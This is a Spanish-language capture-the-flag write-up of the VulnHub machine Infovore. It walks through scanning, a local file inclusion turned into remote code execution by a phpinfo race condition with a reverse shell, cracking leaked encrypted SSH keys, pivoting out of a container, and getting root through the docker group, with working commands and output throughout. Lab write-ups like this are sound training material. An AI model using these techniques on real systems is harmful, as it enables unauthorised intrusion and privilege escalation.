Entrada

VulnHub - Infovore | (Difficulty Medium) - Linux

Writeup de la máquina de dificultad media Infovore de la página https://vulnhub.com

VulnHub - Infovore | (Difficulty Medium) - Linux

Useful Skills

  • Web Enumeration
  • Local File Inclusion (LFI)
  • LFI to RCE (abusing file_uploads + race condition)
  • Enumerating system (linpeas)
  • Cracking Protected Private SSH Key (ssh2john)
  • Abusing SSH Key pair trust to escape the container
  • Abusing docker group

Enumeration

TCP Scan

1
2
rustscan -a 192.168.2.141 --ulimit 5000 -g
192.168.2.141 -> [80]
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -p80 -sCV 192.168.2.141 -oN tcpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 20:19 CET
Nmap scan report for 192.168.2.141
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Include me ...
MAC Address: 00:0C:29:3C:73:E6 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds

UDP Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -sU --top-ports 1500 --min-rate 5000 -n -Pn 192.168.2.141 -oN udpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 20:19 CET
Nmap scan report for 192.168.2.141
Host is up (0.00028s latency).
Not shown: 1496 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
944/udp   closed unknown
5353/udp  closed zeroconf
28493/udp closed unknown
31084/udp closed unknown
MAC Address: 00:0C:29:3C:73:E6 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

HTTP Enumeration

Whatweb reporta un servidor Apache 2.4.38 y que se está utilizando PHP 7.4.7

1
2
whatweb http://192.168.2.141
http://192.168.2.141 [200 OK] Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.2.141], JQuery, PHP[7.4.7], Script, Title[Include me ...], X-Powered-By[PHP/7.4.7]

Accediendo al servicio web en http://192.168.2.141 puedo observar una página web bastante por defecto, donde en la parte superior derecha existe posibilidad de loguearse o registrarse, pero los enlaces no redirige a ningún lado.

imagen

Utilizo gobuster para realizar enumeración exahustiva de archivos y directorios

1
2
3
4
5
6
7
8
9
10
11
gobuster dir -u http://192.168.2.141 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100 -q
/css                  (Status: 301) [Size: 312] [--> http://192.168.2.141/css/]
/img                  (Status: 301) [Size: 312] [--> http://192.168.2.141/img/]
/index.html           (Status: 200) [Size: 4674]
/index.php            (Status: 200) [Size: 4743]
/info.php             (Status: 200) [Size: 69776]
/server-status        (Status: 403) [Size: 278]
/vendor               (Status: 301) [Size: 315] [--> http://192.168.2.141/vendor/]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]

En el escaneo el unico recurso accesible que llama mi atención es info.php, este archivos permite visualizar la configuración PHP de un servidor

imagen

De cara a futuros ataques como ejecución remota de comandos voy a visualizar las disable_functions o funciona deshabilitadas, donde puedo comprobar si se permiten utilizar funciones para ejecutar comandos como system(), shell_exec(), passthru(), ente otras, puediendo ver que no existe ninguna función deshabilitada

imagen

Vulnerability analysis

Local File Inclusion (LFI)

En la página principal el título es Include me…, lo cual es una pista dando a entender que es posible que en algún lado se acontezca un LFI, por ello voy a utilizar ffuf para fuzzear por parámetros en la web apuntando hacia /etc/passwd, así /?FUZZ=/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ffuf -c -t 100 -fl 137 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.141/?FUZZ=/etc/passwd"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.2.141/?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 137
________________________________________________

filename                [Status: 200, Size: 1006, Words: 8, Lines: 27, Duration: 55ms]

Consigo obtener un parámetro existente, el cual es /?filename=, accedo a http://192.168.2.141/?filename=/etc/passwd, consigo ver el fichero passwd de la máquina victima, intento listar diferentes archivos de la máquina, pero no es posible, también intento utilizar diferentes wrappers pero no consigo obtener nada, se ve que es un LFI bastante limitado, tampoco es posible realizar un RCE a través de envenenar los logs de apache, ni utilizando la herramienta php-filter-chain

imagen

LFI to RCE file_uploads enabled (info.php)

En el info.php observo que file_upload se encuentra On, esto quiere decir que la posibilidad de subir archivos se encuentra habilitada, aunque no disponga de ningun campo de subida de archivo sería posible forzar una petición por POST al info.php donde se cree un archivo temporal con el contenido que yo desee

imagen

Exploitation

Abusing LFI to RCE file_uploads enabled + Race condition

Para realizar la ejecución de comandos a través del LFI y el file_uploads enabled, se debe de acontecer un Race Condition, existe un artículo donde se explica detalladamente el proceso

Con el file_uploads On es posible interceptar la petición con BurpSuite y montar una estructura de subida de archivo, cambiando el método GET a POST y tramitando la petición se consige subir un archivo temporal, claro donde se produce el RCE es cuando disponemos del LFI y a través del mismo conseguimos apuntar al archivo subido.

imagen

imagen

El problema que se presenta es que son archivos temporales los que se crean, por ello se borran al poco tiempo, aquí es donde entra el Race Condition donde hay que intentar ejecutar la misma función muchas veces hasta que se de la condición donde en el mismo momento que se crea conseguimos apuntar al archivo y existe, para ello disponemos de la siguiente guía detallada de HackTricks

El proceso de explotación es básico, el primer paso es descargar el script proporcionado por HackTricks

En este script hay modificar las siguientes cosas:

  • Sustituir [tmp_name]=> por [tmp_name]=&gt
1
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

imagen

  • Ruta del phpinfo()

imagen

  • Ruta vulnerable a LFI

imagen

  • Sustituir payload del script, por ejemplo, reverse shell de Pentest Monkey

imagen

Inicio un listener con netcat por el puerto 4444 para recibir la reverse shell al ejecutar el exploit

1
2
nc -lvnp 4444
listening on [any] 4444 ...

Ejecuto el exploit indicando la dirección IP objetivo, sin necesidad de indicar el puerto por que es el port defecto 80

1
2
3
4
5
6
7
8
9
10
python2.7 phpinfolfi.py 192.168.2.141
LFI With PHPInfo()
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Getting initial offset... found [tmp_name] at 111439
Spawning worker pool (10)...
  69 /  1000
Got it! Shell created in /tmp/g

Woot!  \m/
Shuttin' down...

El script que automatiza el proceso se debe de ejecutar con Python2.7

Consigo ganar acceso al sistema como el usuario www-data

1
2
3
4
5
6
7
8
9
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.141] 60712
Linux e71b67461f6c 3.16.0-6-amd64 #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) x86_64 GNU/Linux
 15:19:03 up 43 min,  0 users,  load average: 0.02, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data

Post exploitation

Escaping from the Docker container

Obtengo acceso al sistema como el usuario www-data, este es un usuario con bajo privilegios por lo que debo de buscar alguna manera de pivotar hacia otro usuario. Comenzaré visualizando cuales son los usuarios que existen en el sistema.

1
2
$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash

Solo está root, lo cual es bastante extraño, al mirar el host observo que he ganado acceso a un contenedor y no a la máquina victima

1
2
$ hostname -I 
192.168.150.21 

Utilizo linpeas para enumerar rapidamente el contenedor y sacar conclusiones, consigo observar un fichero inesperado llamado .oldkeys.tgz

imagen

1
2
www-data@e71b67461f6c:/$ ls -a
.  ..  .dockerenv  .oldkeys.tgz  bin  boot  core  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run	sbin  srv  sys	tmp  usr  var

Copia el archivo a /tmp y lo renombro para que sea visible, como el contenedor tiene tar lo descomprimo, puediendo ver lo que es una clave publica y privada llamadas root y root.pub, pero se encuentra encriptada

1
2
3
www-data@e71b67461f6c:/tmp$ tar -xvf oldkeys.tgz 
root
root.pub
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@e71b67461f6c:/tmp$ cat root
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2037F380706D4511A1E8D114860D9A0E

ds7T1dLfxm7o0NC93POQLLjptTjMMFVJ4qxNlO2Xt+rBqgAG7YQBy6Tpj2Z2VxZb
uyMe0vMyIpN9jNFeOFbL42RYrMV0V50VTd/s7pYqrp8hHYWdX0+mMfKfoG8UaqWy
gBdYisUpRpmyVwG1zQQF1Tl7EnEWkH1EW6LOA9hGg6DrotcqWHiofiuNdymPtlN+
it/uUVfSli+BNRqzGsN01creG0g9PL6TfS0qNTkmeYpWxt7Y+/R+3pyaTBHG8hEe
zZcX24qvW1KY2ArpSSKYlXZw+BwR5CLk6S/9UlW4Gls9YRK7Jl4mzBGdtpP85a/p
fLowmWKRmqCw2EH87mZUKYaf02w1jbVWyjXOy8SwNCNr87zJstQpmgOISUc7Cknq
JEpv1kzXEVJCfeeA1163du4RFfETFauxALtKLylAqMs4bqcOJm1NVuHAmJdz4+VT
GRSmO/+B+LNLiGJm9/7aVFGi95kuoxFstIkG3HWVodYLE/FUbVqOjqsIBJxoK3rB
t75Yskdgr3QU9vkEGTZWbI3lYNrF0mDTiqNHKjsoiekhSaUBM80nAdEfHzSs2ySW
EQDd4Hf9/Ln3w5FThvUf+g==
-----END DSA PRIVATE KEY-----

Me traigo la clave privada a mi equipo y utilizo ss2john para obtener el hash que posteriomente voy a crackear con john

1
2
ssh2john root
root:$sshng$1$16$2037F380706D4511A1E8D114860D9A0E$448$76ced3d5d2dfc66ee8d0d0bddcf3902cb8e9b538cc305549e2ac4d94ed97b7eac1aa0006ed8401cba4e98f667657165bbb231ed2f33222937d8cd15e3856cbe36458acc574579d154ddfecee962aae9f211d859d5f4fa631f29fa06f146aa5b28017588ac5294699b25701b5cd0405d5397b127116907d445ba2ce03d84683a0eba2d72a5878a87e2b8d77298fb6537e8adfee5157d2962f81351ab31ac374d5cade1b483d3cbe937d2d2a353926798a56c6ded8fbf47ede9c9a4c11c6f2111ecd9717db8aaf5b5298d80ae9492298957670f81c11e422e4e92ffd5255b81a5b3d6112bb265e26cc119db693fce5afe97cba309962919aa0b0d841fcee665429869fd36c358db556ca35cecbc4b034236bf3bcc9b2d4299a038849473b0a49ea244a6fd64cd71152427de780d75eb776ee1115f11315abb100bb4a2f2940a8cb386ea70e266d4d56e1c0989773e3e5531914a63bff81f8b34b886266f7feda5451a2f7992ea3116cb48906dc7595a1d60b13f1546d5a8e8eab08049c682b7ac1b7be58b24760af7414f6f9041936566c8de560dac5d260d38aa3472a3b2889e92149a50133cd2701d11f1f34acdb24961100dde077fdfcb9f7c3915386f51ffa

Crackeo el hash obtenido con john, consigo obtener la contraseña la cual es choclate93

1
2
3
4
5
6
7
8
9
10
11
john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
choclate93       (root)     
1g 0:00:00:02 DONE (2025-02-06 15:48) 0.4405g/s 4014Kp/s 4014Kc/s 4014KC/s choclateman..choclate76
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Migro al usuario root en el cotenedor con la contraseña choclate93

1
2
3
4
www-data@e71b67461f6c:/tmp$ su root
Password: 
root@e71b67461f6c:/tmp# whoami
root

Dentro del directorio /root/.ssh existen otro par de claves más, llamadas id_rsa y id_rsa.pub, también se encuentra protegida

1
2
3
root@e71b67461f6c:~# cd .ssh/
root@e71b67461f6c:~/.ssh# ls
id_rsa	id_rsa.pub  known_hosts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@e71b67461f6c:~/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7E18B5FC6317F2B108B324FAE966C522

7pImaaMpH87ki1cJP35Xnfv2dq8BxbRghs24GckdTRdG1ivgZX6e/DKj4mctEKiM
fWRJ4ewDg46Kt8sfyJYoz633vnSRfUPM7odqD52voaXLmS5y5KME0DZzzpwMm9b7
358IXVsrKYxCqczhbR+fZnSq3CoILv85faDCUo4B8n+lauzRKBPEoDgAK44Hn4w7
sW1nn3hNBJ2jz6J8UqX2r1Cf3JLOJ1LwO6J4jrhKmt4BNNFzIrNo9hCDM2MtIhwP
xp9Pi6PkPkPUJ+bClu9ULXqIPLJaBiPdek2fTSFyeLPUWTxT4hne06u2zqqUqR1h
8NI6cjyYkx0ytOjbN7EqdI5T7n6ouq21Va5yuhtwYd10TYkFJyE2yNqWZCJUxjqh
7TkZwbFjWk+aHjEYIuAmD3MmdqU0zf2tBFu4SqlBhMlB84fM3HCL3yG3krFSpRf+
QKuB7bBCTg46KPlz3EKloRFy/jAT8bm1AQAlpZKLUZ1V8LpLytLpG2x7dmhQ5wXW
WECqll7VOpMjh9H/I81THkJ3uXVMwA/nolD/4Zj8yU8u29wa7bpiYT8lZ0EmgxbP
Uh//hmqkltYa1xs017oBvm8qUlaWQrwiJd264QRzdUCuN3zHyLNYaOpJ/d/C9pBI
MAwSBpf11kW8ZswdADxUwgH+uCJkaPTiZXq+ABMzdJAN7XoCnI1U3o/HICKiHV8y
xyhXfxISh5ko63n2aerT4xlk4X6E7Y3Z80i7cxMXGVRWnMDaq9R0kMMtZCnxeRe5
TyZ3P7Vx2/kvvRyiMW87ywAwnGRrwWNcj877NYhRWbjmjA8qIGqKoqUKsvX5uxvz
MzD/Qs9VdMxiD6DotvDjQes29JHuhgKcKDEfUB9dlFWtPkX+18Mn8+C77DdkTgO3
krno3zmxzizW83HPXomM1oF2iLCiAsuP5n+hyk6rZ2QfVtIYhoUnfb7hUWkUxP+V
ARGt4JFulNdGaPiAaKddl0ghrs/SnDEhhqmZ7uIHall7WMeyLUaYe8GdgV7Q6FSh
sgVbw+JIdqf4ixWoYnhWnOPOiPW6/Qp3uX9HhbId5EpdRCPK94BRFQEDFja/8zD4
ubVsSi6ZQkAAfeP/AfimdM/LUf2m4h4SvzVacxykPUWMful6ZfTMjzZpA/us4a6O
kouPWP4/DNKRlG6LaakN1bb/jpiZeLgLy5+Vh/JsLw4Rb7e4wHAy4BkfcdBw9ioN
ywgm5JWXlKfGJl8qNZTe2Og+YO3YBWwHygHeKxxrimfTfNwUhK8RZxL6jGXYhFEe
gx4izyXIZj8Q5IpGbJvV9vP//IunuCEFgaQW+ONt7oqyRyokeAZWlMXabDSamVVN
5FthgNwLFRetfR5TS2y7A2YrskiBd213r7v4CoylTbG9K73G77ObmgL9e0fdTAof
x1WhIn5AJ8zD+0VUCad+OQoQz+VWElRf57/iEZhUufnJ+2pPV1Sa5RZltLearTNk
lbwqhInqV2L0oLmMz+cv2qED/HHGAVrJOtkO0EuyadtR0HdrHU+pc6bc12RvZPS5
oF8U8k12YpfGru/7ETn0oZzsZI3K1Et5hhwUmRmelahEfoYf8RNG1Cj4qWweCKp5
-----END RSA PRIVATE KEY-----

Observo en la clave publica que es para conectarse por ssh como el usuario admin a través de la 192.168.150.1

1
2
root@e71b67461f6c:~/.ssh# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/keLDJowDdeSdHZz26wS1M2o2/eiJ99+acchRJr0lZE0YmqbfoIo+n75VS+eLiT03yonunkVp+lhK+uey7/Tu8JsQSHK1F0gci5FG7MKRU4/+m+0CODwVFTNgw3E4FKg5qu+nt6BkBThU3Vnhe/Ujbp5ruNjb4pPajll2Pv5dyRfaRrn0DTnhpBdeXWdIhU9QQgtxzmUXed/77rV6m4AL4+iENigp3YcPOjF7zUG/NEop9c1wdGpjSEhv/ftjyKoazFEmOI1SGpD3k9VZlIUFs/uw6kRVDJlg9uxT4Pz0tIEMVizlV4oZgcEyOJ9NkSe6ePUAHG7F+v7VjbYdbVh admin@192.168.150.1

Pero en el escaneo de nmap SSH no se encontraba expuesto, supongo que a través del contenedor estará expuesto el puerto SSH conectando así la maquina victima 192.168.2.141, envío una cadena vacía al /dev/tcp para comprobarlo

1
2
root@e71b67461f6c:~/.ssh# echo '' > /dev/tcp/192.168.150.1/22 && echo "Port 22 - OPEN"
Port 22 - OPEN

Esto quiere decir que si consigo crackear la contraseña de la clave podré conectarme por ssh a la máquina a través del contenedor, por ello traigo la clave privada a mi equipo y con ssh2john obtengo el hash que crackearé con john

1
2
ssh2john id_rsa
id_rsa:$sshng$1$16$7E18B5FC6317F2B108B324FAE966C522$1200$ee922669a3291fcee48b57093f7e579dfbf676af01c5b46086cdb819c91d4d1746d62be0657e9efc32a3e2672d10a88c7d6449e1ec03838e8ab7cb1fc89628cfadf7be74917d43ccee876a0f9dafa1a5cb992e72e4a304d03673ce9c0c9bd6fbdf9f085d5b2b298c42a9cce16d1f9f6674aadc2a082eff397da0c2528e01f27fa56aecd12813c4a038002b8e079f8c3bb16d679f784d049da3cfa27c52a5f6af509fdc92ce2752f03ba2788eb84a9ade0134d17322b368f6108333632d221c0fc69f4f8ba3e43e43d427e6c296ef542d7a883cb25a0623dd7a4d9f4d217278b3d4593c53e219ded3abb6ceaa94a91d61f0d23a723c98931d32b4e8db37b12a748e53ee7ea8baadb555ae72ba1b7061dd744d8905272136c8da96642254c63aa1ed3919c1b1635a4f9a1e311822e0260f732676a534cdfdad045bb84aa94184c941f387ccdc708bdf21b792b152a517fe40ab81edb0424e0e3a28f973dc42a5a11172fe3013f1b9b5010025a5928b519d55f0ba4bcad2e91b6c7b766850e705d65840aa965ed53a932387d1ff23cd531e4277b9754cc00fe7a250ffe198fcc94f2edbdc1aedba62613f256741268316cf521fff866aa496d61ad71b34d7ba01be6f2a52569642bc2225ddbae104737540ae377cc7c8b35868ea49fddfc2f69048300c120697f5d645bc66cc1d003c54c201feb8226468f4e2657abe00133374900ded7a029c8d54de8fc72022a21d5f32c728577f1212879928eb79f669ead3e31964e17e84ed8dd9f348bb7313171954569cc0daabd47490c32d6429f17917b94f26773fb571dbf92fbd1ca2316f3bcb00309c646bc1635c8fcefb35885159b8e68c0f2a206a8aa2a50ab2f5f9bb1bf33330ff42cf5574cc620fa0e8b6f0e341eb36f491ee86029c28311f501f5d9455ad3e45fed7c327f3e0bbec37644e03b792b9e8df39b1ce2cd6f371cf5e898cd6817688b0a202cb8fe67fa1ca4eab67641f56d2188685277dbee1516914c4ff950111ade0916e94d74668f88068a75d974821aecfd29c312186a999eee2076a597b58c7b22d46987bc19d815ed0e854a1b2055bc3e24876a7f88b15a86278569ce3ce88f5bafd0a77b97f4785b21de44a5d4423caf780511501031636bff330f8b9b56c4a2e994240007de3ff01f8a674cfcb51fda6e21e12bf355a731ca43d458c7ee97a65f4cc8f366903fbace1ae8e928b8f58fe3f0cd291946e8b69a90dd5b6ff8e989978b80bcb9f9587f26c2f0e116fb7b8c07032e0191f71d070f62a0dcb0826e4959794a7c6265f2a3594ded8e83e60edd8056c07ca01de2b1c6b8a67d37cdc1484af116712fa8c65d884511e831e22cf25c8663f10e48a466c9bd5f6f3fffc8ba7b8210581a416f8e36dee8ab2472a2478065694c5da6c349a99554de45b6180dc0b1517ad7d1e534b6cbb03662bb24881776d77afbbf80a8ca54db1bd2bbdc6efb39b9a02fd7b47dd4c0a1fc755a1227e4027ccc3fb455409a77e390a10cfe55612545fe7bfe2119854b9f9c9fb6a4f57549ae51665b4b79aad336495bc2a8489ea5762f4a0b98ccfe72fdaa103fc71c6015ac93ad90ed04bb269db51d0776b1d4fa973a6dcd7646f64f4b9a05f14f24d766297c6aeeffb1139f4a19cec648dcad44b79861c1499199e95a8447e861ff11346d428f8a96c1e08aa79

Utilizo john para crackear el hash y consigo obtener la contraseña, la cual es la misma choclate93

1
2
3
4
5
6
7
8
9
10
11
john -w=/usr/share/wordlists/rockyou.txt hash1
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
choclate93       (id_rsa)     
1g 0:00:00:02 DONE (2025-02-06 16:00) 0.4608g/s 4199Kp/s 4199Kc/s 4199KC/s choclateman..choclate76
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Utilizo ssh en el contenedor para migrar como el usuario admin, accediendo puedo ver que es verdad que conectaban la máquina victima con el contenedor a través de 192.168.150.1

1
2
3
4
5
6
7
8
9
10
11
12
root@e71b67461f6c:~/.ssh# ssh -i id_rsa admin@192.168.150.1
Enter passphrase for key 'id_rsa': 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jun 23 05:59:43 2020 from 192.168.150.21
admin@infovore:~$ hostname -I
192.168.2.141 172.17.0.1 192.168.150.1 

Privilege escalation

Utilizo el comando id puediendo observar que me encuentro en el grupo docker

1
2
admin@infovore:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin),999(docker)

La escalada de privilegios es bastante sencilla, al pertenecer al grupo docker es posible crear una montura entera del sistema dentro del contenedor, esto lo que provoca es que sea posible ver todos los recursos y los cambios aplicados se sincronizen.

1
2
3
admin@infovore:~$ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                NAMES
e71b67461f6c        theart42/infovore   "docker-php-entrypoi…"   4 years ago         Up 2 hours          0.0.0.0:80->80/tcp   infovore

Realizaré el despliegue de un contenedor con una montura de todo el sistema en el contenedor en /mnt/root

1
admin@infovore:~$ docker run -it -v /:/mnt alpine sh

Ahora me dirijo a /mnt y asigno permisos SUID a /bin/bash

1
2
3
/mnt # chmod u+s ./bin/bash
/mnt # ls -l ./bin/bash
-rwsr-xr-x    1 root     root       1029624 Mar 25  2019 ./bin/bash

Me salgo del contenedor y observo que en la máquina también se han cambiado los permisos de la bash

1
2
admin@infovore:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1029624 Mar 25  2019 /bin/bash

Por último me spawneo un shell con privilegios root

1
2
3
admin@infovore:~$ bash -p
bash-4.3# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.